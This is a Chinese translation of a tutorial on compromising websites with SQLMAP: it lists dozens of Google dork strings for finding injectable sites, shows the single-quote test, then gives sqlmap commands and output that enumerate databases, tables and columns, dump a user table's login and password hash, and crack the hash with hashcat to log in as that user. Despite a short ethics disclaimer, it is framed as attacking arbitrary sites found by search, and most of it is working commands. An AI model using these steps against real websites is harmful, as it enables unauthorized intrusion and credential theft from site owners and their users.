<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/2113

            from:http://www.blackmoreops.com/2014/05/07/use-sqlmap-sql-injection-hack-website-database/

            0x00 背景介紹


            1.?什么是SQL注入?

            SQL注入是一種代碼注入技術,過去常常用于攻擊數據驅動性的應用,比如將惡意的SQL代碼注入到特定字段用于實施拖庫攻擊等。SQL注入的成功必須借助應用程序的安全漏洞,例如用戶輸入沒有經過正確地過濾(針對某些特定字符串)或者沒有特別強調類型的時候,都容易造成異常地執行SQL語句。SQL注入是網站滲透中最常用的攻擊技術,但是其實SQL注入可以用來攻擊所有的SQL數據庫。在這個指南中我會向你展示在Kali?Linux上如何借助SQLMAP來滲透一個網站(更準確的說應該是數據庫),以及提取出用戶名和密碼信息。

            2.?什么是SQLMAP?

            SQLMAP是一個開源的滲透測試工具,它主要用于自動化地偵測和實施SQL注入攻擊以及滲透數據庫服務器。SQLMAP配有強大的偵測引擎,適用于高級滲透測試用戶,不僅可以獲得不同數據庫的指紋信息,還可以從數據庫中提取數據,此外還能夠處理潛在的文件系統以及通過帶外數據連接執行系統命令等。

            訪問SQLMAP的官方網站http://www.sqlmap.org可以獲得SQLMAP更為詳細的介紹,如它的多項特性,最為突出的是SQLMAP完美支持MySQL、Oracle、PostgreSQL、MS-SQL與Access等各種數據庫的SQL偵測和注入,同時可以進行六種注入攻擊。

            還有很重要的一點必須說明:在你實施攻擊之前想想那些網站的建立者或者維護者,他們為網站耗費了大量的時間和努力,并且很有可能以此維生。你的行為可能會以你永遠都不希望的方式影響到別人。我想我已經說的夠清楚了。(PS:請慎重攻擊,不要做違法的事情)

            PS:之前在wooyun上看了一些關于SQLMAP的文章,受益匪淺,今天翻譯這篇文章,是希望對于如何使用SQLMAP提供一個基本的框架,SQL注入的原理以及SQLMAP詳細的命令參數和不同的應用實例可以參考下面的文章:

            SQL注射原理:http://drops.wooyun.org/papers/59

            SQLMAP用戶手冊:http://drops.wooyun.org/tips/143

            SQLMAP實例COOKBOOK:http://drops.wooyun.org/tips/1343

            0x01 定位注入的網站


            這通常是最枯燥和最耗時的一步,如果你已經知道如何使用Google?Dorks(Google?dorks?sql?insection:谷歌傻瓜式SQL注入)或許會有些頭緒,但是假如你還沒有整理過用于Google搜索的那些字符串的話,可以考慮復制下面的條目,等待谷歌的搜索結果。

            a:利用Google?Dorks字符串找到可注入的網站

            這個列表很長,如果你也懂得SQL,那么你也可以添加新的條目,記得留言給我。

            Google Dork string Column 1 Google Dork string Column 2 Google Dork string Column 3
            inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
            inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id=
            inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr=
            inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id=
            inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id=
            inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID=
            inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?=
            inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id=
            inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id=
            inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id=
            inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id=
            inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id=
            inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id=
            inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id=
            inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id=
            inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
            inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id=
            inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id=
            inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id=
            inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id=
            inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id=
            inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id=
            inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id=
            inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id=
            inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id=
            inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
            inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
            inurl:article.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id=
            inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id=
            inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id=
            inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id=
            inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id=
            inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id=
            inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
            inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id=
            inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id=
            inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:channel_id=
            inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id=
            inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id=
            inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id=
            inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id=
            inurl:news.php?id= inurl:participant.php?id= ?
            inurl:avd_start.php?avd= inurl:download.php?id= ?
            inurl:event.php?id= inurl:main.php?id= ?
            inurl:product-item.php?id= inurl:review.php?id= ?
            inurl:sql.php?id= inurl:chappies.php?id= ?
            inurl:material.php?id= inurl:read.php?id= ?
            inurl:clanek.php4?id= inurl:prod_detail.php?id= ?
            inurl:announce.php?id= inurl:viewphoto.php?id= ?
            inurl:chappies.php?id= inurl:article.php?id= ?
            inurl:read.php?id= inurl:person.php?id= ?
            inurl:viewapp.php?id= inurl:productinfo.php?id= ?
            inurl:viewphoto.php?id= inurl:showimg.php?id= ?
            inurl:rub.php?idr= inurl:view.php?id= ?
            inurl:galeri_info.php?l= inurl:website.php?id= ?

            b:初始驗證網站是否可以進行SQL注入

            上面的字符串搜索之后,也許會得到成百上千的結果,那么如何判斷這些網站是否可以進行SQLMAP的注入呢?有很多種方法,我相信大家會爭論哪種才是最好的,但是對我而言下面的方法是最簡單和最有效的。

            我們假設你使用了字符串:inurl:item_id=,然后其中一個結果的網站是:

            http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15
            

            在后面添加添加一個單引號’之后,URL成為了:

            http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15'
            

            如果頁面返回一個SQL錯誤,說明頁面存在SQL注入點;如果頁面加載正常顯示或者重定向到一個不同的頁面,跳過這個網站,用同樣的方法去測試下一個網站吧!

            【PS:現在比較多的可以使用’and?1=1’、‘or?1=1’等測試注入點的存在,這篇文章側重地是使用SQLMAP注入的思路和整體步驟】

            下面是我自己測試時的SQL錯誤截圖:

            2014052914544392535.png?

            不同的數據庫返回的SQL錯誤或許會有不同,比如:

            Microsoft?SQL?Server

            Server?Error?in?‘/’?Application.?Unclosed?quotation?mark?before?the?character?string?‘attack;’.
            

            描述:Description:?An?unhanded?exception?occurred?during?the?execution?of?the?current?web?request.?Please?review?the?stack?trace?for?more?information?about?the?error?where?it?originated?in?the?code.

            Exception?Details:?System.Data.SqlClient.SqlException:?Unclosed?quotation?mark?before?the?character?string?‘attack;’
            

            MySQL?Errors

            Warning:?mysql_fetch_array():?supplied?argument?is?not?a?valid?MySQL?result?resource?in?/var/www/myawesomestore.com/buystuff.php?on?line?12
            
            Error:?You?have?an?error?in?your?SQL?syntax:?check?the?manual?that?corresponds?to?your?MySQL?server?version?for?the?right?syntax?to?use?near?‘’’?at?line?12
            

            ?

            Oracle?Errors

            java.sql.SQLException:?ORA-00933:?SQL?command?not?properly?ended?at?oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180)?at?oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)
            
            Error:?SQLExceptionjava.sql.SQLException:?ORA-01756:?quoted?string?not?properly?terminated
            

            PostgreSQL?Errors

            Query?failed:?ERROR:?unterminated?quoted?string?at?or?near?“‘’’”
            

            0x02 列出DBMS數據庫


            正如上圖你看到的,我找到了一個存在SQL注入點的網站。現在我需要列出所有的數據庫(有時這也稱為枚舉列數)。因為我一直在使用SQLMAP,它會告訴我哪個存在漏洞。

            運行下面的命令,參數是你找到的存在注入點的網址:

            sqlmap?-u?http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15?--
            

            我們現在看到兩個數據庫,其中的information_schema是幾乎所有MySQL數據庫默認的標準數據庫,所以我們的興趣主要在sqldummywebsite數據庫上。

            這里的參數:

            sqlmap:SQLMAP可執行文件的名稱,也可使用python?sqlmap.py來替代
            -u:目標URL
            --dbs:枚舉DBMS數據庫
            

            0x03 列出目標數據庫的表


            現在我們需要知道在數據庫sqldummywebsite中都有哪些表,為了弄清這些信息,我們使用下面的命令:

            sqlmap?-u?http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15?-D?sqldummywebsite?--tables
            

            我們發現這個數據有8張表:

            [10:56:20] [INFO] fetching tables for database: 'sqldummywebsite'
            [10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2'
            [10:56:22] [INFO] the SQL query used returns 8 entries
            [10:56:25] [INFO] retrieved: item
            [10:56:27] [INFO] retrieved: link
            [10:56:30] [INFO] retrieved: other
            [10:56:32] [INFO] retrieved: picture
            [10:56:34] [INFO] retrieved: picture_tag
            [10:56:37] [INFO] retrieved: popular_picture
            [10:56:39] [INFO] retrieved: popular_tag
            [10:56:42] [INFO] retrieved: user_info
            

            2014052914585030373.png?

            顯而易見,我們的興趣主要在表user_info中,因為這張表中包含著數據庫的用戶名和密碼。

            0x04 列出指定數據庫中的列


            現在我們需要列出數據庫sqldummywebsite的表user_info中的所有的列,使用SQLMAP進行這一步會非常簡單,運行下面的命令:

            sqlmap?-u?http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15?-D?sqldummywebsite?-T?user_info?--columns
            

            命令返回5個段:

            [10:57:16] [INFO] fetching columns for table 'user_info' in database 'sqldummywebsite'
            [10:57:18] [INFO] heuristics detected web page charset 'ISO-8859-2'
            [10:57:18] [INFO] the SQL query used returns 5 entries
            [10:57:20] [INFO] retrieved: user_id
            [10:57:22] [INFO] retrieved: int(10) unsigned
            [10:57:25] [INFO] retrieved: user_login
            [10:57:27] [INFO] retrieved: varchar(45)
            [10:57:32] [INFO] retrieved: user_password
            [10:57:34] [INFO] retrieved: varchar(255)
            [10:57:37] [INFO] retrieved: unique_id
            [10:57:39] [INFO] retrieved: varchar(255)
            [10:57:41] [INFO] retrieved: record_status
            [10:57:43] [INFO] retrieved: tinyint(4)
            

            2014052915004160941.png?

            哈哈!其中的user_loginuser_password字段就是我們要找的!

            0x05 從指定的數據庫的表中列出用戶名


            SQLMAP的SQL注入非常簡單!再次運行下面的命令吧:

            sqlmap?-u?http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15?-D?sqldummywebsite?-T?user_info?-C?user_login?--dump
            

            現在我們有了數據庫的用戶名了:

            [10:58:39] [INFO] retrieved: userX
            [10:58:40] [INFO] analyzing table dump for possible password hashes
            

            2014052915114612604.png

            現在我們只需要這個用戶的密碼了,下面就來介紹如何得到密碼!

            0x06 提取用戶密碼


            你可能已經習慣如何使用SQLMAP了!使用下面的參數來提取密碼字段的數值吧!

            sqlmap?-u?http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15?-D?sqldummywebsite?-T?user_info?-C?user_password?--dump
            

            現在我們得到密碼字段了:

            [10:59:15] [INFO] the SQL query used returns 1 entries
            [10:59:17] [INFO] retrieved: 24iYBc17xK0e.
            [10:59:18] [INFO] analyzing table dump for possible password hashes
            Database: sqldummywebsite
            Table: user_info
            [1 entry]
            +---------------+
            | user_password |
            +---------------+
            | 24iYBc17xK0e. |
            +---------------+
            

            2014052915045923606.png

            雖然我們得到了密碼字段的值,但是卻是密碼的HASH值,現在我們需要解密這個密碼了。我之前已經探討過在Kali?Linux上如何解密MD5、phpBB、MySQL和SHA-1。

            你可以參考:

            http://www.blackmoreops.com/2014/03/26/cracking-md5-phpbb-mysql-and-sha1-passwords-with-hashcat/

            下面簡要地介紹如何使用hashcat來破解MD5。

            0x07 破解密碼


            現在密碼字段的值是?24iYBc17xK0e?,你首先應當判斷HASH的類型。

            a:識別HASH類型

            幸運地是,Kali?Linux提供了可以用來鑒別HASH類型的工具,只需要命令行下敲入命令:

            Hash-identifier

            然后根據提示提供HASH值就可以了:

            2014052915061762603.png?

            所以這是一個DES(Unix)?HASH。

            【PS:實際中HASH加密使用幾種形式,如*nix系統、MD5(Unix)等,詳細內容可以參考HASH加密類型傳送門:http://zone.wooyun.org/content/2471

            b:使用cudahashcat破解HASH

            首先我們必須知道DES?HASH使用的代碼,運行命令:

            cudahashcat?--help?|?grep?DES
            

            【PS:這里的cudahashcat是借助GPU進行破解的工具,下面提到的oclHashcat也是同樣的工具,詳細介紹與用法可以參考HASHCAT使用簡介傳送門:http://drops.wooyun.org/tools/655

            2014052915070592604.png?

            如圖所示:代碼要么是1500要么是3100,因為目標是一個MySQL數據庫,所以一定是1500.我運行的電腦使用的是NVDIA顯卡,因此我可以使用cudaHashcat;我的筆記本是AMD顯卡,那么我就只能使用oclHashcat破解MD5.如果你運行在VirtualBox或者VMWare上,你既不能使用cudahashcat也不能使用oclhashcat,你必須安裝Kali?Linux。

            我將HASH值存儲在DES.hash文件中,然后運行命令:

            cudahashcat?-m?1500?-a?0?/root/sql/DES.hash?/root/sql/rockyou.txt
            

            2014052915081195605.png?

            現在我們得到了破解的密碼:abc123,接下來我們就可以使用這個用戶的身份登錄了。

            ?

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线